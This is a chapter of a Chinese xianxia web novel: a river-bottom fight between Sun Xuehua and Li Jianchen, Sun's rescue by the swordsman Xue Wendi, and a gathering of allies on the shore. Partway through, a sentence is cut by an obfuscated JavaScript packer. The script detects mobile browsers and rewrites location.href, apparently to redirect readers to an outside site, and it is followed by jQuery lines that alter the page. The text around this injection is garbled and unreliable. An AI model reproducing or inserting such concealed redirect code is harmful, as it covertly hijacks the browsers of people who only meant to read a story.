江水不竭,巨浪滔天。
孙雪华与李见尘一道沉入江底石林,那石林也纷纷倒塌,巨浪裹挟着碎石不断砸向他们。李见尘将他紧紧抱在怀里,单手施术,撑开一个坚固的结界,隔绝了这幽暗江底的一切声响与危险。
四周突然安静下来,安静到只能听见彼此的呼吸和心跳。
孙雪华感觉掌心的血已悄然凝固,那干涸的血迹将他的手与剑柄牢牢连接在一起,他动不了,不能动,更不敢动,他现在的视线十分模糊,要是稍有偏差,剑锋一歪,李见尘可能真的就死了。
死了不好吗?
孙雪华听见心底有另一个自己在说话,这个人,是这一场骗局的主谋,是始作俑者,是罪魁祸首,他不该死吗?
可是,他也好可怜。
一个人在那样冰冷潮湿的地宫里待了数百年,出来后,宗门倾覆,门生尽绝,最得意的弟子受尽屈辱,生死不能……
“小雪在想些什么呢?”李见尘呢喃着,“现在杀我,就是最好的时机。”
孙雪华闭着眼,意识开始涣散,连声音都小了许多,他问:“你后悔吗?”
“后悔什么?我从来不后悔。”李见尘笑着,还是那轻佻、散漫的口吻,他原以为孙雪华会说些大道理,谆谆教导,循循善诱,可对方却说:“好可惜,你要是后悔的话,我就会原谅你了。”
李见尘一愣,就觉腰上一阵剧痛,孙雪华居然趁他不备,猛地屈膝一撞,借力从他怀中挣脱出来,那把长剑也随即拔了出来,原本被堵住的伤口顿时汩汩冒血,孙雪华横剑一劈,结界应声而裂,那鲜红的血液流融入滚滚江水中,消失不见。
李见尘捂着肩膀,哂笑着,那眼神似乎在说:“孙掌门,你可真狠心。”
孙雪华不语,正要再次挥剑,一块碎石猝不及防撞在他后背上,力量之大,直撞得他又吐出一大口鲜血,江水涌进七窍,意识差点在这一瞬间被冲垮。孙雪华眼前一黑,却挣扎着封住自己的奇经八脉,防止力量被全部抽走。
李见尘游了过来,被他横剑挡在身前,那双冷冽的眼睛里充斥着悲伤,朦胧闪烁的,也不知道是江水还是泪水。
李见尘捧住他的脸,想再靠近些,却被一道剑气所伤,推出去三尺远。
一个高马尾的霜衣剑客从天而降,一把抱住了孙雪华。李见尘一怔,顿时起了杀心,可对方并没有和他过多纠缠,剑锋所指,劈水断浪,带着孙雪华径直冲出了水面。
“哗啦!”
霜衣剑客背着重伤的孙雪华回到岸边,解开他身上的术法,掌心聚气,重新为他梳理脉络,灌入灵力。孙雪华重重地咳嗽了两声,又吐出几口淤血,那剑客急得大喊:“小雪!小雪?你没事吧?”
听到熟悉的声音,孙雪华才勉强睁开眼,可他怎么都找不到焦点,只能看见一个模糊的影子。
可再模糊,也足够了。
“小楼。”他喃喃着,抓住了友人的胳膊,“帮我个忙。”
“什么?”
剑客俯下身,侧耳倾听,孙雪华小声道:“去我家,还有那个人,记着。”
他说得混乱颠倒,可剑客仍是听得清清楚楚,明明白白,连连点头道:“好,你放心,我一定帮你。”
“嗯。”孙雪华紧紧抓着他的手,安心地昏睡过去。
“小雪?小雪?”剑客忙从腰间灵囊里找到一颗悬命丹,塞到好友嘴里,确认对方暂无性命之忧后,这才松了一口气,施术为其烘干身上的衣物和湿透的头发。
“哗啦——”
江面上又出现一个人影,他一抬头,就看见水下那个男人朝着这边走了过来。
“你就是小雪的好友?”
“是,在下锁春谷,薛闻笛。”
霜衣剑客报上了名号,一双桃花眼灼灼有神,俊俏非常。
李见尘看了,妒火中烧,冷笑一声:“来得正好,黄泉路上,你们也能做个伴。”
薛闻笛蹙眉,小雪就是让自己带这个人回去?可他怎么看着,敌意如此之深?带回去真的不会有什么问题吗?
来不及多想,李见尘已然逼近,薛闻笛悍然出剑,剑鸣铮铮,一击即中,挑飞他手中长箫,左手顺势甩出一根银线,勾住那箫身,一把抢了过来。李见尘本就受了伤,根本不是现在的薛闻笛的对手,可他似是怒气上头,不管不顾地冲了过来,薛闻笛收剑入鞘,翻转剑身,剑柄正中他的膻中穴,一下打散了他的内息流转。李见尘喷出一口血来,薛闻笛抬手,一掌劈在他的后颈处,将人打晕过去,李见尘当场倒地,一头湿漉漉的长发凌乱地铺在淤泥地上,满脸血迹,十分狼狈。薛闻笛也给他喂了一颗悬命丹,防止他一口气上不来,直接去见阎王爷。
天边旋涡慢慢缩小,风暴渐息,雷火渐散,一缕日光若隐若现,一颗金珠自厚重云层中掉落,径直落入李见尘手中,薛闻笛眼神一瞥,这颗金珠不就是听海崖地宫内的那颗吗?这人难道是——
他愣了愣,忽觉一阵急促的脚步声正向自己靠近,他猛地转身,一道凌厉的剑光正朝着他命门劈来,薛闻笛未曾拔剑,只用剑鞘横挡,翻身回刺,击中对方心口,那人后撤几步,踉跄着要倒,薛闻笛又是一脚,正中他心窝,踹得他连滚几圈,半天都没能爬起来。
定睛一看,那人双眼被覆,口衔金箔,不似寻常剑客。
薛闻笛直觉有些古怪,左手背在身后:“来者何人?”
对方不答,又持剑扑了过来,薛闻笛左手甩出一张灵符,符文显形,将他层层锁住。
剑客顿时不动了。
“鬼吗?”
薛闻笛不解,就在此时,又有一人匆匆赶至,薛闻笛还以为是这剑客的帮手,可来人见到此种情形,只长舒一口气:“谢过这位兄台。”
“不谢。”薛闻笛颔首,那人眼神一瞥,见到躺在地上的孙雪华和李见尘,便要上前一探究竟,被薛闻笛拦下。
双方眼神交汇,彼此之间似乎都有些困惑。
“在下锁春谷薛闻笛,不知阁下上前所为何事?”
来人一听他的名字,愣了愣,单手握拳,道:“是谢某唐突了。”
薛闻笛正要说些什么,又见到了两个熟悉的身影。
“哟,今天是什么老朋友碰面的好日子吗?”
最先出声的是栾易山,他还是端着那副看谁都不爽的姿态,阴阳怪气的,薛闻笛听了,只是笑笑:“栾兄,好久不见。”
“担不起,担不起。”栾易山见到这东一个西一个的都不省人事,只觉得头疼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762405|174439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶着额头,半天没吭声。尹晓棠见了薛闻笛,却十分欣喜,可当着这么多人的面,她不好意思大喊大叫,只敢压低声音,小声说着:“薛前辈。”
“尹姑娘,别来无恙。”薛闻笛也是高兴,尹晓棠摇摇头,再往那头看,又是满脸忧心,薛闻笛宽慰道:“小雪暂且无事,让他先睡一会儿吧。”
“你准备带他们去哪儿?”
栾易山是个明眼人,见到这种情景,自然能猜到是怎么回事,薛闻笛只说不方便透露,希望他能体谅。
“不用我体谅,我本来也没兴趣。”栾易山一听就知道他们可能会去哪儿,便没问,只有尹晓棠傻乎乎地说:“薛前辈,你可要治好孙前辈,他应该受了不小的伤。”
“嗯。”薛闻笛点点头,又看向栾易山,正要抱拳行礼,对方就嗤笑一声:“要走赶紧走吧,少一个人,就是少一张嘴,我还省了心呢。”
薛闻笛听了,嘴巴一张,刚要开口,又被栾易山打断:“你救的那些人全在岸上了,都还没醒,要走赶紧走,免得被人发现,事情闹大了,可就不好走了。”
薛闻笛还要说话,栾易山就睨了他一眼:“那个倒在地上的狐狸精,叫李见尘,是听海崖的人,他有两个属下,都是蒙着眼睛的,我要把他们都带回五柳山庄,你不要多问,专心照顾你的好友和那个狐狸精就行。等你们那边稳定下来,若有需要,再传书于我。”
“嗯,多谢。”薛闻笛终于能向他致谢了,尹晓棠听得似懂非懂,可见了栾易山那斩钉截铁的模样,又不敢乱说话,只好选择沉默。
栾易山又抓住某人:“介绍一下,这位是谢照卿。”
“谢兄。”薛闻笛不认识这人,便十分礼貌地行了个礼,谢照卿对他也是客气:“薛兄。”
“你还真要叫他一声薛兄呢。”栾易山笑笑,话里有话,谢照卿咬牙:“你不说话没人把你当哑巴。”
“我要是哑巴,你们就全都完蛋。”栾易山轻叹,“那就先这样,咱们解散吧,哦对,回头薛兄若是回了岁寒峰,就请代我们向各位师弟问好。”
“栾易山,谢照卿,尹晓棠。”
他挨个儿点了遍名字,促狭不已。
薛闻笛没有听出其中深意,点头道:“好。”
谢照卿裹紧身上的披风,左手搭在右肩上,朝他微微颔首:“就请薛兄代谢某,向傅师弟和张师弟问好。”
“好,薛某一定带到。”
言罢,薛闻笛便就地画了个传送阵,带着孙雪华和李见尘一同离开了。
“走,我们要去善后了。”栾易山大手一挥,抬脚便走,尹晓棠急急忙忙跟在他身后:“栾前辈,孙前辈他不会有事吧?”
“除非他自己道心崩坏,否则,谁能耐他何?”栾易山大笑,“你就不要操心了,吉人自有天相。你有这闲工夫,不如好好想想,该怎么收拾这里的残局吧。”
“啊?”尹晓棠一脸苦恼,秀气的眉毛都皱在了一起,真的认真思考起这个问题来。
栾易山不语,只仰头看向天空,一望无际的苍穹之下,一缕日光已经穿透云层,洒向了浩荡江面。
数见风雨,天地巨变,可这金乌依旧会振翅高飞,带来和平与期望。
栾易山轻叹,加快了脚步。